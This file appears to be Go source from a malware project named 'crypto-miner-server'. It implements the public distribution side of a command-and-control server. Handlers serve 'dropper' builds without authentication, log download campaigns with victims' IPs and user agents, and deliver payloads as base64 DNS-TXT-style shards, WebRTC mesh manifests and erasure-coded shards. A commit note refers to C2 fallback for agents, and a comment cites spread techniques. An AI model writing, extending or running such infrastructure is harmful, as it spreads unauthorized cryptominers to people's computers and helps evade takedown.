Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
291 lines
8.4 KiB
Go
291 lines
8.4 KiB
Go
package api
|
||
|
||
import (
|
||
"encoding/base64"
|
||
"fmt"
|
||
"net/http"
|
||
"os"
|
||
"path/filepath"
|
||
"strings"
|
||
|
||
dbpkg "crypto-miner-server/internal/db"
|
||
"crypto-miner-server/internal/erasure"
|
||
"crypto-miner-server/internal/models"
|
||
|
||
"github.com/go-chi/chi/v5"
|
||
)
|
||
|
||
// PublicBuildsConfig supplies public-download policy from server config.
|
||
type PublicBuildsConfig struct {
|
||
Enabled bool
|
||
LatestN int
|
||
}
|
||
|
||
// PublicHandler serves unauthenticated build listing and download endpoints.
|
||
type PublicHandler struct {
|
||
db *dbpkg.Database
|
||
dataDir string
|
||
configFn func() PublicBuildsConfig
|
||
erasureShards *erasure.ShardStore
|
||
policySnapshotFn func() (PolicySnapshot, error)
|
||
policySnapshotTokenFn func() string
|
||
}
|
||
|
||
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
|
||
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
|
||
}
|
||
|
||
// BindErasureShardStore serves Reed–Solomon shard bytes for multi-lane deploy plans.
|
||
func (h *PublicHandler) BindErasureShardStore(store *erasure.ShardStore) {
|
||
h.erasureShards = store
|
||
}
|
||
|
||
type publicBuildDTO struct {
|
||
ID string `json:"id"`
|
||
WorkerName string `json:"worker_name"`
|
||
Platform string `json:"platform"`
|
||
FileName string `json:"file_name"`
|
||
FileSize int64 `json:"file_size"`
|
||
BundleSize int64 `json:"bundle_size"`
|
||
DownloadURL string `json:"download_url"`
|
||
CreatedAt string `json:"created_at"`
|
||
Pinned bool `json:"pinned"`
|
||
Public bool `json:"public"`
|
||
}
|
||
|
||
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
|
||
dl := b.DownloadURL
|
||
if dl == "" {
|
||
dl = "/api/v1/public/download/" + b.ID
|
||
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
|
||
// Rewrite authenticated artifact path to public when listed
|
||
if strings.Contains(dl, "/artifact/") {
|
||
parts := strings.Split(dl, "/artifact/")
|
||
if len(parts) == 2 {
|
||
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
|
||
}
|
||
} else {
|
||
dl = "/api/v1/public/download/" + b.ID
|
||
}
|
||
}
|
||
return publicBuildDTO{
|
||
ID: b.ID,
|
||
WorkerName: b.WorkerName,
|
||
Platform: b.Platform,
|
||
FileName: b.FileName,
|
||
FileSize: b.FileSize,
|
||
BundleSize: b.BundleSize,
|
||
DownloadURL: dl,
|
||
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
|
||
Pinned: b.Pinned,
|
||
Public: b.Public,
|
||
}
|
||
}
|
||
|
||
// GET /api/v1/public/builds
|
||
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
||
cfg := h.configFn()
|
||
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
|
||
if err != nil {
|
||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||
return
|
||
}
|
||
dtos := make([]publicBuildDTO, 0, len(builds))
|
||
for _, b := range builds {
|
||
dtos = append(dtos, toPublicBuildDTO(b))
|
||
}
|
||
writeJSON(w, map[string]interface{}{
|
||
"builds": dtos,
|
||
"public_builds_enabled": cfg.Enabled,
|
||
"latest_n": cfg.LatestN,
|
||
})
|
||
}
|
||
|
||
// GET /api/v1/public/download/{id}
|
||
// GET /api/v1/public/download/{id}/artifact/{name}
|
||
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
|
||
id := chi.URLParam(r, "id")
|
||
if id == "" {
|
||
http.Error(w, "build id required", http.StatusBadRequest)
|
||
return
|
||
}
|
||
cfg := h.configFn()
|
||
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
|
||
if err != nil || !ok {
|
||
http.Error(w, "build not available for public download", http.StatusNotFound)
|
||
return
|
||
}
|
||
|
||
if c := r.URL.Query().Get("c"); c != "" {
|
||
_ = h.db.LogCampaignEvent(c, id, dbpkg.CampaignEventDownload, "public_download", clientIP(r), r.UserAgent())
|
||
}
|
||
|
||
build, err := h.db.GetBuild(id)
|
||
if err != nil {
|
||
http.Error(w, "build not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
|
||
artifactName := chi.URLParam(r, "name")
|
||
if artifactName != "" {
|
||
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
|
||
if _, err := os.Stat(path); err != nil {
|
||
http.Error(w, "artifact not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
|
||
http.ServeFile(w, r, path)
|
||
return
|
||
}
|
||
|
||
path, name := resolveDropperArtifact(h.dataDir, build)
|
||
if path == "" {
|
||
http.Error(w, "artifact missing on disk", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
|
||
http.ServeFile(w, r, path)
|
||
}
|
||
|
||
// GET /api/v1/public/dns-txt/{record}
|
||
// Simulates DNS TXT shard responses for tests when real _aether zone is unavailable.
|
||
func (h *PublicHandler) DNSTXTShard(w http.ResponseWriter, r *http.Request) {
|
||
record := strings.TrimSpace(chi.URLParam(r, "record"))
|
||
if record == "" {
|
||
http.Error(w, "record required", http.StatusBadRequest)
|
||
return
|
||
}
|
||
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
|
||
if buildID == "" {
|
||
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
|
||
}
|
||
platform := strings.TrimSpace(r.URL.Query().Get("os"))
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
build, err := h.resolveLatestBuild(buildID, platform)
|
||
if err != nil {
|
||
http.Error(w, "build not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
data, err := os.ReadFile(build.FilePath)
|
||
if err != nil {
|
||
http.Error(w, "artifact missing", http.StatusNotFound)
|
||
return
|
||
}
|
||
// Single-shard simulation for tests; multi-shard plans use per-record URLs.
|
||
w.Header().Set("Content-Type", "text/plain")
|
||
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
|
||
}
|
||
|
||
// GET /api/v1/public/webrtc-mesh/manifest
|
||
// LAN HTTP fallback stub documented in SPREAD_TECHNIQUES — real path uses WebRTC data channel + WS relay.
|
||
func (h *PublicHandler) WebRTCMeshManifest(w http.ResponseWriter, r *http.Request) {
|
||
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
|
||
if buildID == "" {
|
||
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
|
||
}
|
||
platform := strings.TrimSpace(r.URL.Query().Get("os"))
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
build, err := h.resolveLatestBuild(buildID, platform)
|
||
if err != nil {
|
||
http.Error(w, "build not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Type", "application/octet-stream")
|
||
http.ServeFile(w, r, build.FilePath)
|
||
}
|
||
|
||
func (h *PublicHandler) resolveLatestBuild(buildID, platform string) (*models.BuildRecord, error) {
|
||
if buildID != "" {
|
||
return h.db.GetBuild(buildID)
|
||
}
|
||
return h.db.GetLatestBuildForPlatform(platform)
|
||
}
|
||
|
||
func encodeDNSTXTShard(data []byte) string {
|
||
return base64.StdEncoding.EncodeToString(data)
|
||
}
|
||
|
||
// GET /api/v1/public/erasure-torrent/{token}/manifest
|
||
func (h *PublicHandler) ErasureTorrentManifest(w http.ResponseWriter, r *http.Request) {
|
||
if h.erasureShards == nil {
|
||
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
|
||
return
|
||
}
|
||
token := strings.TrimSpace(chi.URLParam(r, "token"))
|
||
if token == "" {
|
||
http.Error(w, "token required", http.StatusBadRequest)
|
||
return
|
||
}
|
||
p, ok := h.erasureShards.ParamsFor(token)
|
||
if !ok {
|
||
http.Error(w, "torrent not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
total := p.TotalShards()
|
||
shards := make([][]byte, total)
|
||
hasAny := false
|
||
for i := 0; i < total; i++ {
|
||
if sh, ok := h.erasureShards.Get(token, i); ok {
|
||
shards[i] = sh
|
||
hasAny = true
|
||
}
|
||
}
|
||
if !hasAny {
|
||
http.Error(w, "torrent not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
base := strings.TrimRight(strings.TrimSpace(r.URL.Scheme+"://"+r.Host), "/")
|
||
if base == "://" {
|
||
base = "http://127.0.0.1:8989"
|
||
}
|
||
manifest, err := erasure.BuildTorrentManifest(base, token, "", len(shards[0])*p.DataShards, p, erasure.ShardContentHashes(shards))
|
||
if err != nil {
|
||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||
return
|
||
}
|
||
writeJSON(w, manifest)
|
||
}
|
||
|
||
// GET /api/v1/public/erasure-shard/{token}/{index}
|
||
func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
|
||
if h.erasureShards == nil {
|
||
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
|
||
return
|
||
}
|
||
token := strings.TrimSpace(chi.URLParam(r, "token"))
|
||
if token == "" {
|
||
http.Error(w, "token required", http.StatusBadRequest)
|
||
return
|
||
}
|
||
indexStr := strings.TrimSpace(chi.URLParam(r, "index"))
|
||
index := 0
|
||
if indexStr != "" {
|
||
if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
|
||
http.Error(w, "invalid shard index", http.StatusBadRequest)
|
||
return
|
||
}
|
||
}
|
||
data, ok := h.erasureShards.Get(token, index)
|
||
if !ok {
|
||
http.Error(w, "shard not found", http.StatusNotFound)
|
||
return
|
||
}
|
||
w.Header().Set("Content-Type", "text/plain")
|
||
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
|
||
}
|
||
|
||
func clientIP(r *http.Request) string {
|
||
ip := r.Header.Get("X-Forwarded-For")
|
||
if ip == "" {
|
||
ip = r.RemoteAddr
|
||
}
|
||
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
|
||
ip = ip[:idx]
|
||
}
|
||
return ip
|
||
}
|